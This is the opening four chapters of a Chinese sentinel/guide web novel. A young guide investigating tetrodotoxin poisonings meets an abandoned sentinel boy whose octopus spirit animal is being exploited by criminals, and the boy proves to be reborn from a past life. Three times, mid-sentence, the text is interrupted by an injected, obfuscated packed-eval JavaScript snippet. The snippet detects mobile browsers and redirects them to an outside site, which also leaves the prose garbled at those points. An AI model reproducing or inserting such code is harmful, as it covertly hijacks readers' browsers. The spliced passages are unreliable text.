《哨兵是蓝环章鱼变的》 1. 第 1 章 杭知澍一低头,看清缩在纸箱阴影里的一双漆黑眼睛,目光对撞,首先撞出了一丝找错人的怀疑。 天光苍白,难以侵入脚下暗巷,大块影子流出建筑物背面,像切割锋利的深色水池,孤零零浮着一只大号牛皮纸箱,箱子上还醒目地印有某某知名家用电器商标。 这是一个堪称诡异的姿势:牛皮纸枯黄的颜色里捧出两支小腿,膝腘弯卡在竖起的纸箱壁上,顺外翻的纸皮倾泻而出。暴露在外的皮肤底色很白、蹭着灰黑色污迹,像节日过后,扔进垃圾箱里两枝蔫软的花。 倒仰的小孩深陷在纸箱里,箱体深处,阴影浓密,一双黑眸恍惚睁大,仿佛刚被惊醒。 眼前情景,要是忽略地点的特殊性,倒很像小狗在沙滩上晒肚皮。 不对。他默默地想,和阴影里那双仓皇眨动的眼睛又对视了一瞬。 更像只四仰八叉的八爪鱼。 这让他心中稍定——嗯,没找错。 这就是他们初步排查出来的,连环杀人案嫌疑人。 两小时前,距离该牛皮纸箱三条街道、两扇门的一张会议桌上,有三份打印材料被按照日期顺序逐一排开,一名中年警官收回放材料的手,习惯性摸出兜里烟盒,又蓦地反应过来,目光夹带尴尬,投向桌对面坐着的白衬衫年轻人。 年轻男人穿着干练整洁,敏锐地抬起眼,轻微颔首间主动打消了他的顾虑:“我没事的,程警官,您抽,不影响。”他刚舒口气,又听得对方声音温和道:“跟我一块过来的同事,他可能闻不太惯,您多担待。” 老程连忙摆手:“‘哨兵’的五感灵敏,能理解。你们都是特殊人才,能过来一趟已经是帮了大忙,哪有什么担不担待的。最近局里忙,前一阵子本地老牌食品企业的工厂被曝出有重大食品安全问题,一直查到现在,现在又出了命案,半年的工作量全给这一两个月碰上了。” 他还是把烟收了起来,往桌前凑近了些:“怎么样,小杭,有没有什么头绪了?” 小杭,或者说杭知澍——C国陆北大区哨向军校研究生,即将毕业,被派到这个犄角旮旯的小城X市来协助调查一桩连续投毒案。本月内X市已经陆续发生三起中毒事件,经过化验,全是摄入河豚毒素导致的呼吸衰竭,一例被发现时已经死亡,两例还在住院。 河豚毒素(TTX),自然界已知毒性最大的神经毒素之一,毒性千倍于氰/化/钠,通常的高温加热手段无法使其分解。可能由河豚和部分蟾蜍、蝾螈、蟹类、蛸类等生物携带,通过进食或皮肤黏膜接触传播,摄入后最快发作时间在十至三十分钟内,最慢在三至六小时内。[1] 调查报告显示,三名受害者重叠的活动范围是一家连锁便利店。但店内本身商品和环境并未检测出TTX。当然,也有可能是问题商品已全部售出并导致了案情、短时间内还未及补充上架,或是犯人听到风吹草动,暂时停止了继续通过便利店这一地点作案。 截止到目前的调查结果,受害者彼此之间,明面上看去似乎是毫无关联的。 无差别?杭知澍转了圈手中笔,把思路从作案动机转移到作案方式上。这其中有风险,除非就是无差别伤人,在便利店这种人流量大的公共环境里,很难精确地控制和锁定投毒范围,假如毒素是涂抹或注射在商品上的,不说顾客,收银台的工作人员也很容易被误伤……收银员。 他倏然坐直。 迄今为止可没有一个收银员发生意外。而中毒案例全都是皮肤接触导致的。 不在便利店内。 那么…… 他再度抬起双眼,看向因自身表情变化而显出紧张神色的老程:“……警官,方便再调一遍便利店周边监控吗?路口,暗巷,垃圾投放点,任何能找到的……” 回忆中断。他隐含审视的目光看向紧张不安、捏着脏兮兮衣角的小孩,看起来才十四五岁——犹豫片刻,选择了单刀直入:“你是哨兵吧。” 小孩呆呆地问:“什么是哨兵?” 没等他皱着眉接话,这小孩又眨了眨眼,小声说:“我是精神病。” 他似乎既迟疑,又生怕自己不信,伸出手指头戳在了自己脑壳,略一歪头,解释道:“我父母、叔叔阿姨、其他人都这么说,说我幻听、看到的也都是别人看不到的东西,整天神经兮兮的,弄坏了东西也不记得,说我人格分裂。……总之就是脑子有问题。” 在调查案件的路上遇到了另一个社会问题。作为军校学生,他当然知道这种社会现象,人类中拥有其他动物形态精神体并能利用其生物特性作战的特异人群——哨兵和向导的出现也不过是近一两百年的事情,由于占人口比例很少,普及率尚且不高,在这种信息闭塞的小城市更是少有人知,否则对接的警员先生也不会拿看保护动物的眼光频频瞅他。 哨向的成因未知,不确定接触了什么从而导致基因变异,偶尔也有这种往上数代都是普通人却骤然生出哨兵或向导的案例。然而,不是谁都有接纳基因彩票的认知基础和科学抚养一个脆弱娇贵物种的经济能力,收入低微的普通人家庭往往无力负担一个行为怪异、不知所云的孩子,因此很多在幼年初步觉醒的哨向会遭到遗弃,运气不好的,可能一辈子也不知道自己究竟是什么,就这样潦草浑噩地死去。 这世上有出生在权势显赫的哨向家族、集万千宠爱于一身的他的同学同事,有像他这样父母都是退役哨向士官的平凡幸运儿,也有如眼前这般因感官高敏被误认为存在精神缺陷、从而惨遭遗弃的孩子。 他把那股黯淡怜悯的情绪压了下去,拿出一个普通人该有的反应,语气随和,仿佛随口一问:“为什么要和我说这些?我觉得你看上去很……” “很正常。”小孩轻轻地打断他,从耳间捏出一枚耳塞,很快又捺回去,捺得很深,“只是现在正常,因为这里安静,没有什么声音。如果树上有虫叫,鸟叫,或者待着的地方距离很远有人在装修,我会精神崩溃,流眼泪,抓墙,手脚不受控制,破坏东西。” 他低着眼帘,飘忽快速地叙述,“叔叔阿姨领养我的时候也觉得我看着很正常,他们一开始说我乖,后来他们就知道了。但我不想再回福利院了,福利院里有人打我,抢我的眼罩和耳塞,而且……”他顿了顿,眼神飘闪,“我就自己跑出来了。” 他终于又抬起眼睛,很认真地对面前衬衫雪白干净的男人说:“所以我要先跟你说一声。” “就你一个人,住在纸箱子里。吃饭呢?怎么解决?” “……我不偷东西的,”他慢慢地、嗫嚅着说,“以前可以到那边的便利店后门装箱卸货,老板会给钱和过期食品。……最近他们突然不要临时工了。” 发生了中毒事件,最近警方盘查严格,便利店自顾不暇,哪有空管一个流浪小孩死活。 他翻了个面,侧身收回腿,窸窸窣窣地换成了坐姿,屈折的两腿撇在纸箱底,声音仍然不高,恹恹怯怯,像是没有多余的精神:“你找我有什么事吗?”然后小心翼翼地补充道:“最近几天这附近有很多大人走来走去,找人问问题。” 看来是已经碰见过便衣。 “是有问题想跟你了解一下,希望你能配合。”他对着似懂非懂的小孩掏出证件,忽然想到以对方的经历并不一定认字,随即把皮夹收回,却意料之外地,听到那个细弱干净的声音开口,音色放出,比轻声说话时亮一些,夹着不易察觉的颤动和慌张:“杭,杭知——” “杭知澍。跟‘树木’的‘树’同音。”他习以为常,自己把最后那个生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418392|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僻字读完。 “……杭知澍。”纤脆的嗓音重复了一遍,他注意到这小孩又紧紧揪住了衣摆。 他“嗯”了一声,算答应,又问:“你叫什么名字?” 分明还开着无形的精神安抚屏障,一直安静乖巧的少年却忽然瑟缩了一下,低垂的眼帘给面颊投下一大片阴凉影子:“……没有名字。” “便利店老板说你叫西西。” “他问我的时候对面路过一辆小摊车,上面写,‘西西章鱼小丸子现炸’。” “你父母姓什么?” “不知道。” “福利院的院长呢?” “大家都只叫她院长、院长老师。” “……” 小孩绞尽脑汁地回想了一会儿,安慰般地告诉他:“阿姨姓客,‘客人’的‘客’,签字的时候我看见了。” 杭知澍受此宽慰,叹一口气:“好吧,那就暂时叫你客西西。” 但他看起来丝毫没有高兴,耷着细长的黑眼梢。这仨字叫出来确实和路边小狗也差不太多,但至少方便了后续问话。 太阳慢慢沉了下来,暮色挤入小巷。杭知澍把录音笔一掐,看了一眼答完问题后陷入沉默的小孩,黑笔“喀嗒”插回备忘录侧边搭扣,眼巡过腕表,很讶异道:“唉哟,这一不留神到饭点了……你后面还有事忙吗,晚上要不要打工?” “没有,”小孩看他一眼,慢吞吞道,“附近别的店也没活。” “那方不方便就近带我去吃个饭?我头一回来这,不熟悉路,有地能坐下的就行。” 困惑的目光从那黑眼珠里轻轻地透出来些,归向他微笑的面孔,又挪至方才收进证件的衣袋。大概还是证件的公信力起了效,打消了流浪小孩的警惕心,他用手撑着纸箱底,准备站起来。 他坐着太久,腿脚似乎麻了一部分,甫一起身立刻一个趔趄,杭知澍下意识要扶一把,瞥见他露出的小臂竟有一块很显眼的淤青,顿住,小哨兵反应也迅速,眨眼间已经稳住平衡,衣袖回落,把那块阴郁凝实的青紫色再次遮住。 杭知澍的眸光明暗一阵,没有说话。等到借口太淡不合口味,将特意嘱咐少加调料的清汤面条推给小孩、重新等餐的档口,忽然问出来:“这附近有人欺负你吗?” 巷口附近的监控显示,上周日有一群醉汉在夜间进入过巷子,时间在凌晨两点,大约半小时后原路离开,走出监控范围。 经过比对,其中一人正是第三名受害者,也是唯一一名死者,在周日早晨六点被负责打扫邻街的清洁工发现。 这名死者是三十四岁的男性,常年酗酒,无固定工作,这也不是唯一一次拍到他深夜在附近街道游荡,往前的监控还有。 “有。” 他吃得安静快速,怕出动静、怕被抢食,带着动物摄食的悄然利落,连面汤也呼簌簌地边吹气边咽下几口,脸蛋散出薄薄热汽,眉心被热量烫着,无声地皱在一起。 “还有其他地方有伤吗?除了手臂。” “腿上,后背。”他回答简洁,并不诧异于对方看见了有意遮掩的淤伤却未当场询问,“踹我的时候我会缩起来,保护肚子和头。” 杭知澍没再多问,站起来结了账,出来发现小孩没走,仍站在店外踢着路边石子等他,等隐约听到脚步声,又乖乖地住了脚。 “走吧,我送你过马路。” 他们分别的时候打了招呼,杭知澍伸出手,对着那条瘦弱的背影,没来由地想摸一下他的头,最终又收了回去,独自往反方向走。 走出百米后,他解锁手机,发出了一条消息。 ——盯着。 又发送了一条。 ——保持距离,戴好手套,不要直接接触对方肢体。 2. 第 2 章 他睡得非常好、非常沉,不知道是不是前晚吃饱了饭的缘故。五点钟被隔着眼皮的亮光晃醒,果然就看见了杭知澍。 年轻男人站在朦胧天光里,熄掉了手机屏幕,目光随之移来,陷进地上这口纸箱中。 衣服换了一身,有清淡的沐浴露香气,差不多款式的白衬衫,袖扣的颜色是半透明的淡绿,像店里牛奶枣喷过水后亮涔涔的果皮,昨天是奶白。 他无意识地摸着身上多出来的毯子,绒毛柔密茂盛,充满安抚意味。安抚。这和杭知澍给人的感觉一致,因此他愿意回答他,愿意和他浪费一个下午,哪怕知道他在怀疑,他的接近有目的。 他也没有吃亏,吃到了新鲜温热的食物,睡觉也有新毯子盖。旧薄毯被人偷走后,他一度不敢再买。 “你睡觉的时候会放出精神体,这你自己是知道的吗?” 他其实是在发呆,张眼望着箱外薄薄亮起的世界,没有凝焦。但这迟疑又被当成了对名词的不理解,于是杭知澍就为他解释,仍然很体贴。他总是很体贴。 “就是你的章鱼。” “蓝环章鱼。” 绒软毯面和起皱衣物上,淡淡残留着腕足蔓过的痕迹,散逸气泡般拢在怀里,成串的吸盘圆印。 …… “对方未成年,十七周岁,野生哨兵,状态不稳定,未接触过系统训练。结合笔录,推测是进入浅层睡眠后无意识释放出精神体引起的自体毒素外泄,不慎波及路人……” 杭知澍挂掉电话,按了按额角。 徐榛双手抱臂,揶揄道:“真难为你能从通篇的‘不知道’、‘没印象’里提炼出这么个解释,写材料的老练程度令人发指。” 杭知澍没反驳:“那小八爪鱼怎么样了?” “能咋样?你都把人拘起来了,”徐榛嗑开个大胖坚果,声响清脆解压,“吃得下睡得着,爱看松鼠跑酷。醒着的时候还是一个样,精神头不高,看着病歪歪的,想给他挂点营养液吧,看见针头就缩,眼泪吧嗒掉。别的倒没什么。” 他把果仁嚼得噼咔响,模糊不清道:“你在外边替他劳心伤神、大费周章要往轻了定,人孩子可一点没念着你。” 杭知澍点点头:“应该的,我把他关进去的。” 一天前他把睡醒的小孩带回临时拘留点,军方在X市的办事处内部,配有哨向监管室。小八爪鱼被洗刷一通,换上干净衣服、手脚铐、哨兵用抑制五感的颈环,洗过后的头发驯软地塌下,几乎遮到眼。因为看不到精神体而不安,又因为感官骤然清静而不由自主地高兴。 他隔着监管室的整幅玻璃,握着听筒,低声说。 ——你的痛感是成倍的痛苦,我知道。 章鱼会因为被孤零零关在水族缸里罹患忧郁吗?他站起身,决定去监管室探视。 那天夜里亲眼目睹掌心大的海洋精神体勾勒出形态,像朵褪色的虎斑百合,柔缓蠕动,气球般充盈,变浅,膨胀为几十倍体,半透明的腕足忽虚忽实,在蜷缩的人影肩头缠绕翻飞,周围空气混入海水的压力与质地,那些冰凉的环形像一圈圈荧光蓝的日环食,漂浮在黑夜里,仿佛纸箱中长出的幽艳盆景。 这么小巧而静怯、美丽而可怖的生物。 ——为什么要在夜晚放出精神体? 杭知澍随手顺走徐榛包里的一袋哨兵用固态营养剂,回想着笔录时小八爪鱼交代的话。 ——在巷子里睡觉,晚上可能会有老鼠、带病的流浪动物。人看不到它,但动物可以。我发现只要把它身上的蓝圈都打开,那些动物就不会靠近,不会过来咬我。 就像点了许多盏小夜灯。 ——还有……还有防着那些,坏人,偷器官的人。 蓝环章鱼是温和性怯的生物,有毒生物的鲜艳外貌大多是自卫机制。 第二名受害者投资失败负债严重,手机聊天工具切换到备用号,里面有一个群聊,从事非法贩卖。 印着卡通小动物画的营养剂在玻璃壁前晃了晃,杭知澍把它搁到桌上,拿起了听筒。 “今天怎么样,身上伤还痛吗?” “好多了。他们给我上药了,起效很快,这个抑制项圈也起作用。” 第一名受害者还是中学生,家里是开公司的,经校内调查后发现其存在长期霸凌同学现象,家校之间往返路线经过便利店。 “我们在给你争取,无意识自卫过当,你年纪小,应该十年以内可以出来。”他说话时紧盯着小孩,希望他能听懂自己的暗示。 一口咬定是无意识的。 “‘你们’?”小孩却歪了歪头,“你和松鼠教官吗。” “什么松鼠教官?还黑猫警长呢。”杭知澍失笑,“要叫徐教官。” “那你呢?你是杭教官?” “我不是,我还没毕业呢。” “松……徐教官说你们学校里都是像我这样带着小动物的人,老师学生都是,没人觉得不正常。”他顿了顿,“等我出来,应该进不了你们学校了吧。” 杭知澍沉默片刻,过往书面新闻和报告数字引发的共情具现到了眼前,形成这副清晰的少年眉眼。他不想给对方虚假的希望,但在尽告知事实义务的同时,仍然想给以最大程度的积极引导。玻璃壁无法传达精神力的安抚,他便运起温和的声线:“只要跟对了人,走正确的方向,到哪里都是一样的。你的情况我会反应,到时候我也会帮你做一些安排。哨兵可以做的事情有很多,这两天你也体验到了,只要控制得当,五感不会成为进入正常生活的阻碍,通过训练把你的潜能发挥出来,以后也不会没地方住、饿肚子的。” 说实话,他不知道小孩能听懂多少,但愿能拉一把。 小孩缓慢地眨过眼,忽然间开口叫他:“杭知澍。” “嗯?” 他慢慢地、清晰而笃定地反问起他:“如果我没有做,我什么都没有做,我能成为你的学生吗?” 手机就在这时进了一个电话。杭知澍压下被那个笃定眼神莫名扰乱的心绪,把听筒换到左手,腾出的右手摸出手机,随口跳开话题:“徐榛说你抗拒输液,那些都是营养液,给你调理身体的,没有坏处。”说完就把听筒率先移开,挂回原处,右手按下接听键,眼仁转动间目光掀起,正撞见透明玻璃后少年垂下眼帘,露出难过哀惶的眼神。 没挂稳的听筒顺着金属电话线摔下来,漏出一道纤脆、静弱、堪称可怜的音色:“……我不要再打针。” 手机里也传来说话声:“小杭?听得见吗?又有新的中毒者出现了,是当场死亡!” …… 第四名受害者同样曾经取道小巷,在监控回放里他总共出镜三次,都在凌晨,两点到四点之间,天亮之前,日期分别是三周前、两周前、一周前。 先前三例中毒者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418393|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒发前24小时被拍到的监控已经悉数调出,徐榛正在盯着屏幕重新比对。 最新受害者每一次出现在小巷的日期和前三例毒发的时间恰巧都在三天之内。三周前的那次是第一位受害者中学男生毒发送医的前三天,两周前是那位负债者毒发的当天夜里,一周前是酗酒人士死亡的前两天。 这名最新受害者每次出现都并非单独行动,有一个固定的同伴。 电光石火间,杭知澍落笔圈出打印监控画面上另一个帽衫蒙头的人影,将多角度影像并置的纸张递到老程面前,郑重道:“程警官,麻烦尽快派人到本市所有车站、高速路口拦截打听这个人……不,我和徐榛也去,我们分别行动,嫌疑人疑似哨兵,一旦发现立刻通知我们前往支援!” 一名年轻警员敲响了敞开的监控室门:“接到匿名电话,有人提供投毒案线索!” TTX最迟三至六小时发作,从他和客西西接触、将对方送进拘留点到现在已经接近48小时,最新受害者身上的毒素不可能来自于和客西西的直接接触,附近店铺商品和街道环境也重新检测过,没有毒素残留。那么只有一种可能,另有人事先抽取TTX作案,而这种毒素由于并非来自现实生物、而是哨向的伴生精神体,更容易在存放过程中自行分解失效,有效期大约在一周之内,到期作废,需要重新采集补充。 上一次采集毒液是在上周五凌晨,今天是周四。 客西西说得没错,他确实是无辜的。 他是被非法采集腺体毒液的受害者。 抽血化验结果显示,他被定期注射专用于哨兵的镇静药物,体内药物积攒,已经对身体造成了负担,必须及时清理。 那通拨到警局的电话其实是自首,对方自述为了搞垮竞争对手,通过人脉渠道联系到“能人”,那两人自称是特异人群、某个哨向组织的成员,能够用隐秘手段让竞争公司的股价大跌。时隔不久,竞争公司的食品生产线果然被曝光出严重卫生问题,大量老鼠出现在生产线。事后这两人联系客户索要报酬,对方却认为这纯属巧合,并不承认二人在其中的作用,拒绝支付尾款并切断了联系。 这是上个月月末发生的事,客西西来到小巷附近是这个月初。 第一名受害者,正是这位客户的亲属。 那两名组织成员发现了客西西的存在,利用他身上的TTX毒液进行报复,威胁对方。他们发现毒素易得又高效,仅沿着生物特性也查不到他们自身。一个街边居无定所的流浪小孩,作为短期利用工具再合适不过,用药过度死了也没关系,这世上根本没有人在意他的死活。 至于另两名受害者,负债者盯上了流浪小孩,蹲点时撞见那两名哨兵采集毒液的一幕,但毒发后抢救及时,还在住院治疗中;而酗酒者,根据电话所说,在出现两例TTX中毒案件后,客户在恐惧之下最终决定支付大量金额花钱消灾,当晚这名醉汉在夜路上游荡,撞破了他们的交易过程,因此被清理,而由于常年酗酒体质衰弱,毒发迅速,当场死亡。 他们已经得到了不菲的酬劳,但人心不足蛇吞象,贪婪驱使下,其中一名哨兵为了独占赃款、掩盖所犯事实,反手利用毒素杀死了精神体是鼠类的同伙,携款潜逃。本已心惊胆战的客户在新闻上看见死者局部打码的照片,通过衣物和特征辨认出是交易对象其中一人,担心仍不被放过,恐惧达到顶点,选择了向警方求助。 3. 第 3 章 杭知澍熬了一夜,等到消息传来,他和徐榛立刻前往X市郊区往西南方向的高速公路,在接近隔壁市的地界逮捕了嫌疑人,控制住这名哨兵。 等一切忙完,连日用脑过度,他直接趴在警局办公桌上睡了过去。醒来时已经是黄昏,他口头汇报完毕,向校内提出了申请。 这三天他都没有去见客西西,徐榛也忙于审问和记录,不再有空陪小孩科普闲聊。 等到申请终于批准下来,他带上文件和学校快递来的东西,上拘留点领人。 卸掉手脚铐束缚的小孩揉了揉手腕,步伐安静,走到他身前,仰起柔驯怯弱的黑眼珠,对待即将到来的未知睫毛扑闪,显得很忐忑。 但杭知澍身上弥漫出的精神力——徐榛已经做过简单科普,哨向都拥有远超常人的精神力,而向导的精神力可以安抚易躁动的哨兵——一如既往令他感到安心。 杭知澍来找他前洗了澡,依旧是清清淡淡的沐浴露气味,像清晨的树叶。杭知澍的眼下有了疲惫的青色。杭知澍开口,耐心而温和:“你还没有接受过向导的精神疏导吧?” 他慢慢睁大眼睛,听见杭知澍说:“你想看我的精神体吗?” 底色淡绿的蝴蝶,前翅的外侧染有水渍般湿暗幽静的三角形色块,后翅缘散布着细碎的暗褐色斑点。 ——淡绿无螯蛱蝶。 如梦似幻的生物,在眼前清凉地扇翅。他眼珠也蹭上薄薄光彩,惊讶地微微张口,蜷起的手指舒开,抬起,想要靠近。 杭知澍看着他的动作,在指尖即将触碰到精神体蝴蝶的一瞬,客西西缩回了手,用另一只手紧紧攥住,低下了头。 “我还控制不好自己的毒。”他说。 杭知澍拿出准备好的东西,递向他。 塑料包装袋发出一阵清亮的窸窣响。“是什么……手套?”客西西接过来,不确定道,“是、是给我的吗?” “嗯。给你的,试试吧。” 一副黑色全指手套,相比普通战术手套材质轻薄,肉眼类似尼龙,贴了防滑抗震材料,手背骨突处有一排凸起的硬质防护。穿戴体验很轻巧,并没有想象中的羁束负担感。 “案子差不多结束了,后面的部分就不在我们的资历和权限能参与的范围了。”杭知澍在他试戴的过程中简单交代了事件后续,作为受害者之一,客西西也有权力了解究竟发生了什么。随后他话锋一转,对着浑身飘起隐形花朵、精神触梢欢欣洋溢的少年说道:“上面批准了我的申请,允许把你移交到我们学校,今后就由校方监管。” 淡绿蛱蝶飘飞一阵,停在手背骨突上,隔着纯黑手套,轻轻一次翕张。 杭知澍忽然有了久违的紧张感,他一向情绪稳定,做向导的大多很注重情绪稳定,而他是个循蹈传统的人。大概是少年眼底脆亮的惊愕太鲜明,超过了既往相处的所有黯淡朦胧反应,那眼珠眏着颤晃的光,几乎要坠下透明的眼泪。 他看着他口唇微动片刻,最终向他问出口:“你的蝴蝶有名字吗?” “有,”杭知澍无形间松口气,“叫青提,就是吃的那个水果青提,都绿绿的,颜色很像。”他解释完就有点后悔,突然间觉得这名字起得不够灵光。 小孩却说:“听起来很好,我喜欢。” “去上学要有名字的吧,”他直直地望着杭知澍,“你也给我起一个吧。” …… 他们坐上了回程的火车,一路转和换,直到进入市区,换乘到通往陆北军校的地铁线路。小孩的新证件还没拿到手,但有校方特批,可以乘坐交通工具。他把印着名字的浅蓝色车票一张一张叠在手里,看了又看,好像拿到了什么不得了的珍藏。 “给你预约了校内医疗研究所的全面体检,到学校先去做一下,后续好出方案清理药物,你的身体不能拖。”杭知澍知道他害怕打针,路上就提前开始做思想工作。 杭知澍上了地铁就在回消息。论文,预约,任务报告,师长关切,亲友慰问。输入法起火,字敲得飞快,地铁上网络忽强忽弱,汇报完了这头又汇报那头,时不时加载卡顿,压根赶不上消息涌出的速度。 他心想:杭知澍认识好多人哦。 这个时间点的地铁很空旷,这么节车厢里只有他们俩,景色变幻,广告牌变幻,光影静静地收起又泼。杭知澍要回消息,坐在联排座椅的另一侧,戴着蓝牙耳机,低眉俯眼,神情专注。 他慢慢抬起脸,望着因进入地下路段变得全黑、倒影清晰起来的对面车窗玻璃,凝视着杭知澍沉思的面影、偶尔眨动的眼睛。 在更往前一点,从监管室那堵水族缸般玻璃壁里被放出来后,他的时间和未来开始不同。 这是他上一世阴差阳错没能走上的路。 前世他遭遇连环案情,极度恐惧,心神紊乱,洗脱嫌疑恢复自由后立刻逃似的一路跑离了拘留点,本想回到暗巷继续原本的生活,却被那两个哨兵背后的组织找上门。那是组织总部闻风前来处理此事的一名中层,好整以暇地拎起他的领子上下打量一番,低嗤那两个短视愚蠢的废物。他被带回总部,接受哨兵训练数年,成为了组织的得力干将。 S级哨兵,精神体新月豹纹蛸,代号“新月”。 组织给了他代号而非名字,给了他栽培而非关怀。他很清楚自己只是组织这几年来格外趁手的一件工具,终有一日会因老化生锈被处理,就像其他的那些杀手前辈,在神游症状加重后,巧合地在某次任务中销声匿迹,被带出去,再也没有回来。 他知道他们都是耗材。 他和军方交手,不止一次,某次任务中,意外碰见了带队的杭知澍。 杭知澍,军校教官杭知澍。是多年前那个下午遮住了纸箱前刺眼日光的年轻男人,请忐忑不安的自己吃过一碗面,在发觉审问不出有效信息后就匆匆离开,直到他被释放后才露过一面。 他向自己郑重地道歉,而那时惶恐的自己只想尽快脱身,这个人干净温和,和自己不在一个世界。他只是个被恐惧与自卑冲昏头脑的十七岁少年,杭知澍的眼里流露过些许同情,但并未主动谈起更多。 组织包围了他们,学生中出现了伤者。在组织里,不够强的成员随时会被放弃。 但杭知澍不会。 杭教官是个向导,他知道,就是这么个刚够A级的向导拼命护着所有学生坚守重围,直到军方的救援赶来。他故意留了个豁口,也没杀任何他要保护的学生。 结果当然是领了罚。 被关禁闭、拆除感官抑制装置、扔进满是噪音的环境里濒临崩溃的时候,他想着那个人的脸,说话的神情,声音。 神游的图景里飞满了蝴蝶。 那是他在组织的第五年,五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418394|168911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来积累的精神疮痍终于隐瞒不住,露出痕迹。他提前收到消息,但心知肚明逃不掉,也不想再逃。 组织开始给他派危险系数和人员配置极不相符的任务。 状态越来越差,但他撑下来了,因为还有想见的人。 直到又一次面对军方,作为有过对峙经验的人员,杭知澍赫然在列。 他好开心啊。 他单枪匹马杀到杭知澍面前,对方身后是更弱小的向导,也许也有他的学生。新月豹纹蛸剧毒破甲,无视精神物理双重防御,能够一次性放倒二十名以上A级哨向,剥夺其行动能力。杭知澍眼里有愕然、猝不及防的惊恐,但他没有退。 他抽出了军用匕首。 眼前恶魔般的少年长了张清秀白皙的脸,发丝墨蓝、尾梢漆黑,一双同样漆黑的眼睛里亮着幽异精巧蓝环,一错不错地盯着他。 “其实我的精神力已经差不多耗干净了,”他喃喃道,声音纤脆,语气轻快,仿佛自言自语,“为了来到你面前。” 他冲他笑了一下,含着剧毒蓝环的眼睛弯成漆黑新月,响指一打,撤去强悍精神力具现化的护身毒障,在杭知澍惊愕的目光中猝然扣住他持刀的右手。 “杭知澍教官,我最大的遗憾,就是那天没能跟你走。” “要是能重来一次就好了。” 他没有再调动任何一丝精神力,那把利刃经由自己的手引路,直直地捅入怦然而跳的心口。 二十二岁自戕而死的哨兵在纸箱中骤然睁眼,依旧是打小习惯的那个小章鱼似的没骨头躺姿,肢体柔软,往外溢出,头脸避着白昼亮晃晃日光。他睁大眼睛,望向箱外世界,白衬衫的男人露出有些困惑的神情,很快又收拢整齐,礼貌而温柔地开口。 要死,说话声音还是这么好听。 从他说出第一句话、和五年前的记忆无缝重合的那一刻开始,重生的哨兵就下定了决心。 这一次,谁都不能阻止我赖着他。 地铁车厢仍在行驶,窗玻璃上男人的面孔随光影飞掠,隐没复现,忽逝忽亮。 他垂下眼帘,虎牙抵着下唇,无声低笑,双手近乎虔诚地捧起浅蓝色火车票,把油墨印的浓黑名字按进胸口。 车票轻轻飘落在膝上,露出乘客姓名。 客惜斓。 ——“惜”是“西”的谐音?那为什么是这个“斓”,不是那个三点水的呢? 他想的是:明明你的名字就是三点水呀。 杭知澍笑着说:用这个“斓”,意思是颜色错杂、光彩灿烂,很漂亮,跟你的蓝环一样。 他说蓝环很漂亮。 客惜斓伸出手,微微侧目,向着对面大幅如画框的车窗玻璃,风景流动,荧屏变幻,再度全黑降临的时刻,拇指和食指圈钩成一个圆环,眯起一只眼睛,眼前原来越快,越来越模糊,紊乱,灯都扭曲地绞动在一起,在高速的流逝之中,圈住了玻璃镜影上杭知澍的侧脸。 车厢内景象陈设颠倒,天旋地转,杭知澍急切的呼喊声胧胧地捶擂在耳后。 地铁抵达终点站,车门拉开,电子女声温柔的报站提示音中,白衬衫的男人抱着昏倒的黑衣少年,径直奔向出站口。 轨道对岸,另一侧静停的地铁轰隆隆发动。方向对调,同一种声线报出相反概念: “始发站,陆北哨向军校。” 4. 第 4 章 有知觉通过入窗的风弥漫过皮肤上细小的绒毛,把紧闭的眼揉出一条缝。客惜斓睁开眼睛,摆脱耳边脑海持续盘桓着的某种低呓,在一块陌生的水灰色天花板下空空茫茫地躺了一会儿,置身于采集自海洋的白噪音,回想着失去意识前发生的种种,幻想自己也拥有海螺似的一幢坚壳。末了,手指试探地一动,感受到埋进手背静脉里一小根纤细的输液针。 真空袋中透明的液滴发出轻而有节律的“啵”声。 护士进来时看到的就是这样一幕:那被抱进急诊的瘦弱少年不知何时已经醒来,睁着一双漆黑的眼睛幽幽静静望着渐空的输液袋,仿佛陷入催眠或张眼冬眠,皮肤白如早市的冻蛸。病房里生冷色调冻着他青青而细软的肢体,病床像堆满铲碎的冰片。 她熟练地换药,拆卸软管,接上,动作既轻又快,避免打扰到感官精细的哨兵患者。哨兵们在实战中何其强悍,以一敌几,展现出惊人的膂力与速度,卸掉抑制五感的辅助装置之后却脆弱得只能生活在布满精密白噪音的人工环境里,在科技发展到研究出随身感官抑制装置之前,人类只能用名为“塔”的特殊封闭场所来收容他们。 她换药完毕,正准备离开,听到病床上的患者忽然开了口:“这里是陆北军校医疗研究所吗?” “对。” 她耐心地等待了一会儿,听见那沉默寡言的男孩子再度询问道:“杭知澍……送我过来的那个人,已经不在这了吗?” 